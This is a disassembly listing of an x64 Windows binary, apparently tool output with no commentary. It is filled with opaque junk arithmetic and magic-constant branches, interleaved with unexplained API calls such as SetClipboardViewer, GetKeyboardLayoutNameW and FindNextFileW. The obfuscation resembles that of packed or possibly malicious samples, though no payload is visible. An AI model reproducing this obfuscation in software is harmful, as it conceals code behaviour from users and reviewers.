movzx eax, byte [rax]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xab], al
movsx eax, word [rsp + 0x5b8]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x5cc], ax
jmp 0x14000b962
movzx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x29e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
movzx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa8], al
lea r9, [rsp + 0xe790]
mov r8d, 1
mov edx, 3
mov rcx, qword [rsp + 0x2b38]
call qword [sym.imp.USER32.dll_SetMenuItemInfoW]
mov dword [rsp + 0x1550], eax
jmp 0x14000ba81
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
mov dword [rsp + 0x15d0], eax
cmp dword [rsp + 0x15d0], 0x1634
je 0x14000ba5d
cmp dword [rsp + 0x15d0], 0x4389
je 0x14000b99c
jmp 0x14000ba81
mov rax, qword [rsp + 0x24e0]
mov rcx, qword [rsp + 0x28b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2a88]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0xab]
movzx edx, byte [rsp + 0x5e]
sub ecx, edx
cmp eax, ecx
jg 0x14000ba05
movzx eax, byte [rsp + 0x5e]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1400b9004], al
call fcn.14009fa10
nop
jmp 0x14000ba5b
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xab]
sub eax, ecx
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x5e]
add ecx, edx
cmp eax, ecx
jg 0x14000ba5b
mov dword [rsp + 0x20], 0xe8
mov r9d, 0x71
mov r8d, 0x13
mov edx, 0x18
mov rcx, qword [rsp + 0x2b40]
call qword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [rsp + 0x15c0], eax
jmp 0x14000ba81
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
lea rax, [rsp + 0x1564]
mov qword [rsp + 0x2b48], rax
cmp dword [rsp + 0x1568], 0xa179
ja 0x14000bdd4
movsx eax, byte [rsp + 0xad]
movsx ecx, byte [rsp + 0xac]
add eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x29e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5d0]
add eax, ecx
mov word [rsp + 0x5d4], ax
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5d0], ax
mov rax, qword [rsp + 0x2b30]
movsx eax, byte [rax]
movsx ecx, byte [0x1400b9e10]
or eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
sar eax, cl
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x2b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x152c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x25f0]
and rcx, rax
mov rax, rcx
mov qword [0x1400b9008], rax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2930]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2a88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x142c]
mov ecx, dword [rsp + 0x14e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x15b8], eax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
movsx ecx, byte [0x1400b9e10]
sub eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2940]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2b10]
mov word [rcx], ax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x2978]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5d0]
sub eax, ecx
mov rcx, qword [rsp + 0x2948]
mov word [rcx], ax
mov eax, dword [rsp + 0x1568]
add eax, 0x8f
mov dword [rsp + 0x1568], eax
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2970]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1544]
mov ecx, dword [rsp + 0x14d8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2b48]
mov rcx, qword [rsp + 0x2a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
mov rax, qword [0x1400b9008]
mov rcx, qword [rsp + 0x2848]
mov qword [rsp + 0x2b50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b50]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x5d4]
movzx ecx, word [rsp + 0x5c0]
and eax, ecx
mov rcx, qword [rsp + 0x29e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xac]
sub eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5cc]
add eax, ecx
mov rcx, qword [rsp + 0x2b10]
mov word [rcx], ax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [0x1400b9010]
sub eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x2a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1544]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2970]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2a28]
and rcx, rax
mov rax, rcx
mov qword [0x1400b9018], rax
jmp 0x14000ba91
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x27a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x2838]
mov eax, dword [rax]
mov dword [rsp + 0x15d4], eax
cmp dword [rsp + 0x15d4], 0x6ed7955a
je 0x14000be12
jmp 0x14000be28
mov rax, qword [rsp + 0x28c0]
movzx ecx, byte [rax]
call fcn.14009fbf0
nop
jmp 0x14000bfa6
lea rax, [0x1400b9e18]
mov qword [rsp + 0x2b58], rax
lea rax, [rsp + 0x5e]
mov qword [rsp + 0x2b60], rax
mov rax, qword [rsp + 0x2b30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
add eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0x2918]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x1460]
mov edx, dword [rsp + 0x152c]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x14000bfa6
mov rax, qword [rsp + 0x29d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c4]
or eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2b30]
movzx eax, byte [rax]
mov byte [rsp + 0x15d8], al
cmp byte [rsp + 0x15d8], 0
je 0x14000becd
jmp 0x14000bf85
movzx eax, word [rsp + 0x404]
mov dword [rsp + 0x15dc], eax
cmp dword [rsp + 0x15dc], 0
je 0x14000bef5
cmp dword [rsp + 0x15dc], 0x6f
je 0x14000bf63
jmp 0x14000bf83
lea rax, [rsp + 0x5cc]
mov qword [rsp + 0x2b68], rax
mov rax, qword [rsp + 0x2b60]
movzx eax, byte [rax]
movzx ecx, byte [0x1400b9004]
sar eax, cl
mov rcx, qword [rsp + 0x2b60]
mov byte [rcx], al
mov rax, qword [rsp + 0x2838]
mov eax, dword [rax]
mov dword [rsp + 0x15e0], eax
mov eax, dword [rsp + 0x14f8]
mov rcx, qword [rsp + 0x2b48]
mov qword [rsp + 0x2b70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b70]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1460], eax
jmp 0x14000bf83
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1400b9018], rax
jmp 0x14000bfa6
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x2808]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
movzx eax, word [rsp + 0x5c4]
mov word [rsp + 0x5d8], ax
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [0x1400b9010]
sub eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x29d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5d0]
sub eax, ecx
mov word [rsp + 0x5c8], ax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [rsp + 0xad]
add eax, ecx
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x2b60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov byte [rsp + 0xab], al
mov rax, qword [rsp + 0x28e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1558]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x25f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2808], rax
mov rax, qword [rsp + 0x28e8]
mov rcx, qword [rsp + 0x2918]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2af0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x14e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x15e0], eax
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5bc]
sub eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
or eax, ecx
mov word [rsp + 0x5cc], ax
movsx eax, byte [0x1400b9e10]
mov rcx, qword [rsp + 0x2b30]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xac], al
movzx eax, word [rsp + 0x5d8]
mov rcx, qword [rsp + 0x2948]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5d0], ax
mov rax, qword [rsp + 0x2b30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xac]
xor eax, ecx
mov rcx, qword [rsp + 0x2b30]
mov byte [rcx], al
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x27e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2a40]
mov ecx, dword [rsp + 0x143c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x142c], eax
mov rax, qword [rsp + 0x2918]
mov ecx, dword [rsp + 0x1564]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2918]
mov ecx, dword [rsp + 0x152c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x14d8], eax
mov rax, qword [rsp + 0x29e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x29d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5c0], ax
mov rax, qword [rsp + 0x2b10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2b68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5bc], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2b30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xaa], al
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xab]
and eax, ecx
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
sub eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movsx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x2a38]
mov ecx, dword [rsp + 0x1460]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x2a38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x14d8]
movzx ecx, al
mov eax, dword [rsp + 0x1544]
shl eax, cl
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x143c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2970]
mov rcx, qword [rsp + 0x2a28]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
movzx eax, word [rsp + 0x5c4]
movzx ecx, word [rsp + 0x404]
and eax, ecx
mov rcx, qword [rsp + 0x29e0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1484]
sub eax, 0x14
mov dword [rsp + 0x1484], eax
mov rax, qword [rsp + 0x2b60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov byte [rsp + 0xab], al
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5cc]
add eax, ecx
mov word [rsp + 0x5b8], ax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5bc]
add eax, ecx
mov word [rsp + 0x5cc], ax
movsx eax, byte [rsp + 0xad]
movsx ecx, byte [0x1400b9e10]
add eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x27e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
cmp dword [rsp + 0x1484], 0x3dce
ja 0x14000bfd2
movzx eax, byte [rsp + 0xaa]
mov byte [rsp + 0x15e4], al
cmp byte [rsp + 0x15e4], 0
je 0x14000c3ec
cmp byte [rsp + 0x15e4], 0x11
je 0x14000c3c9
jmp 0x14009eecb
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x28f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x28b8], rax
jmp 0x14009eecb
mov rax, qword [rsp + 0x28e8]
mov eax, dword [rax]
mov dword [rsp + 0x15e8], eax
cmp dword [rsp + 0x15e8], 0xa30c5b1d
je 0x14000c40c
jmp 0x14000c481
mov rax, qword [rsp + 0x2b10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5bc]
or eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rcx, qword [rsp + 0x2b78]
call qword [sym.imp.USER32.dll_SetClipboardViewer]
mov qword [rsp + 0x2a48], rax
movsx eax, byte [rsp + 0xac]
movsx ecx, byte [0x1400b9e10]
sar eax, cl
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0x2b60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
jmp 0x14009ee07
movzx eax, word [rsp + 0x404]
movzx ecx, word [rsp + 0x5d4]
add eax, ecx
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x2a38]
mov ecx, dword [rsp + 0x1544]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x28d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2a88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x24e0]
and rcx, rax
mov rax, rcx
mov qword [0x1400b9e18], rax
mov rax, qword [rsp + 0x2a40]
mov rcx, qword [rsp + 0x2838]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2808], rax
mov rax, qword [rsp + 0x2b60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x5d8]
mov rcx, qword [rsp + 0x29d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5c8], ax
movzx eax, word [rsp + 0x5d4]
movzx ecx, word [rsp + 0x5d8]
add eax, ecx
mov rcx, qword [rsp + 0x29e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5bc]
sub eax, ecx
mov word [rsp + 0x5cc], ax
mov eax, dword [rsp + 0x1480]
add eax, 0x7b
mov dword [rsp + 0x1480], eax
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x28d0]
mov ecx, dword [rsp + 0x1564]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x27e0]
mov qword [rsp + 0x2b80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b80]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1400b9008], rax
mov rax, qword [0x1400b9e18]
mov rcx, qword [rsp + 0x2a88]
mov qword [rsp + 0x2b88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b88]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2a40]
mov ecx, dword [rsp + 0x14e0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x28b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x5d4]
movzx ecx, word [rsp + 0x5d0]
or eax, ecx
mov word [rsp + 0x5c0], ax
mov rax, qword [rsp + 0x2b30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
and eax, ecx
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2b10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xaa], al
mov eax, dword [rsp + 0x1460]
mov ecx, dword [rsp + 0x14f8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2b48]
mov dword [rcx], eax
mov rax, qword [0x1400b9e20]
mov rcx, qword [rsp + 0x2a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x27a8], rax
mov eax, dword [rsp + 0x15e0]
mov ecx, dword [rsp + 0x142c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x143c], eax
mov rax, qword [rsp + 0x2b60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa8], al
movsx eax, word [rsp + 0x5cc]
movsx ecx, word [0x1400b9010]
sar eax, cl
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
shl eax, cl
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
movsx eax, byte [rsp + 0xad]
movsx ecx, byte [rsp + 0xac]
or eax, ecx
mov byte [rsp + 0xaa], al
movsx eax, word [0x1400b9010]
movsx ecx, word [rsp + 0x5cc]
xor eax, ecx
mov word [rsp + 0x5b8], ax
mov rax, qword [rsp + 0x2a38]
mov rcx, qword [rsp + 0x2918]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x14d8], eax
mov rax, qword [rsp + 0x2918]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2a28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2970]
mov qword [rcx], rax
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5d8]
add eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
mov rax, qword [rsp + 0x2b10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5bc], ax
movzx eax, word [rsp + 0x5d8]
movzx ecx, word [rsp + 0x5c0]
sub eax, ecx
mov rcx, qword [rsp + 0x2948]
mov word [rcx], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xad]
sub eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x29e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2a38]
mov qword [rsp + 0x2b90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b90]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
cmp dword [rsp + 0x1480], 0xd689
jbe 0x14000c481
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2808]
mov rdx, qword [rsp + 0x2888]
mov rdx, qword [rdx]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x14000c9f6
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
mov byte [rsp + 0x15ec], al
cmp byte [rsp + 0x15ec], 0x1a
je 0x14000c9e8
cmp byte [rsp + 0x15ec], 0x60
je 0x14000c9d5
jmp 0x14000c9f6
mov cx, 0xd2
call qword [sym.imp.USER32.dll_OemKeyScan]
mov dword [rsp + 0x153c], eax
jmp 0x14000c9f6
movzx ecx, byte [rsp + 0xa9]
call fcn.1400a0b80
nop
mov rax, qword [rsp + 0x2970]
mov rcx, qword [rsp + 0x2a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2b60]
movzx eax, byte [rax]
mov byte [rsp + 0x15f0], al
cmp byte [rsp + 0x15f0], 0
je 0x14000ca49
cmp byte [rsp + 0x15f0], 0xbe
je 0x14000cc2b
jmp 0x14000cd03
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2b68]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x2b10]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14000cbd9
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
mov byte [rsp + 0x15f4], al
cmp byte [rsp + 0x15f4], 0x80
je 0x14000cab0
cmp byte [rsp + 0x15f4], 0x99
je 0x14000cbb7
jmp 0x14000cbd7
mov rax, qword [rsp + 0x2a40]
mov ecx, dword [rsp + 0x14e0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x29d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov dword [rsp + 0x15f8], eax
cmp dword [rsp + 0x15f8], 0x3edf
je 0x14000caf1
jmp 0x14000cb96
mov rax, qword [rsp + 0x2b30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xad]
add eax, ecx
mov byte [rsp + 0xaa], al
mov dword [rsp + 0x20], 0x84
lea r9, [rsp + 0x27d0]
mov r8d, 0x60
mov rdx, qword [rsp + 0x2b98]
mov rcx, qword [rsp + 0x2850]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x152c], eax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2b60]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xa8]
sub eax, ecx
mov byte [rsp + 0x5e], al
lea rdx, [rsp + 0xf160]
mov rcx, qword [rsp + 0x2858]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov dword [rsp + 0x1420], eax
jmp 0x14000cbb5
mov rax, qword [rsp + 0x2b10]
movsx eax, word [rax]
movsx ecx, word [0x1400b9010]
add eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
jmp 0x14000cbd7
mov rax, qword [rsp + 0x29e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5c8], ax
jmp 0x14000cc26
mov rax, qword [0x1400b9008]
mov rcx, qword [rsp + 0x27a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x25f0]
mov rdx, qword [rsp + 0x2808]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x14000cc26
mov eax, dword [rsp + 0x143c]
movzx ecx, al
mov eax, dword [rsp + 0x14e0]
sar eax, cl
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
jmp 0x14000cd03
movzx eax, word [0x1400b9e14]
movzx ecx, word [rsp + 0x404]
xor eax, ecx
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
mov dword [rsp + 0x15fc], ecx
mov rdx, qword [rsp + 0x29d8]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x15fc]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14000cd03
mov rax, qword [rsp + 0x27a8]
mov qword [rsp + 0x2ba0], rax
movabs rax, 0xa7ccf9c3ae257d
cmp qword [rsp + 0x2ba0], rax
je 0x14000ccf8
movabs rax, 0x21f8c172cac3b013
cmp qword [rsp + 0x2ba0], rax
je 0x14000cca9
jmp 0x14000cd03
lea rcx, [rsp + 0xef60]
call qword [sym.imp.USER32.dll_GetKeyboardLayoutNameW]
mov dword [rsp + 0x1600], eax
mov rax, qword [rsp + 0x2918]
mov ecx, dword [rsp + 0x14f8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2a38]
